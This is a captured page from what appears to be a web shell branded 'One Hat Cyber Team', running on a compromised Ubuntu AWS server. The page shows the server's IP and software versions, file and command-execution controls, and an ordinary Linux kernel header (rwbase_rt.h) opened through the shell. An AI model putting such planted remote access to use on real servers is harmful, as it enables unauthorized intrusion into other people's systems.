⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.5
Server IP:
13.127.59.50
Server:
Linux ip-172-31-46-210 5.15.0-1033-aws #37~20.04.1-Ubuntu SMP Fri Mar 17 11:39:30 UTC 2023 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.3-4ubuntu2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
modules
/
5.15.0-1019-aws
/
build
/
include
/
linux
/
View File Name :
rwbase_rt.h
// SPDX-License-Identifier: GPL-2.0-only #ifndef _LINUX_RWBASE_RT_H #define _LINUX_RWBASE_RT_H #include <linux/rtmutex.h> #include <linux/atomic.h> #define READER_BIAS (1U << 31) #define WRITER_BIAS (1U << 30) struct rwbase_rt { atomic_t readers; struct rt_mutex_base rtmutex; }; #define __RWBASE_INITIALIZER(name) \ { \ .readers = ATOMIC_INIT(READER_BIAS), \ .rtmutex = __RT_MUTEX_BASE_INITIALIZER(name.rtmutex), \ } #define init_rwbase_rt(rwbase) \ do { \ rt_mutex_base_init(&(rwbase)->rtmutex); \ atomic_set(&(rwbase)->readers, READER_BIAS); \ } while (0) static __always_inline bool rw_base_is_locked(struct rwbase_rt *rwb) { return atomic_read(&rwb->readers) != READER_BIAS; } static __always_inline bool rw_base_is_contended(struct rwbase_rt *rwb) { return atomic_read(&rwb->readers) > 0; } #endif /* _LINUX_RWBASE_RT_H */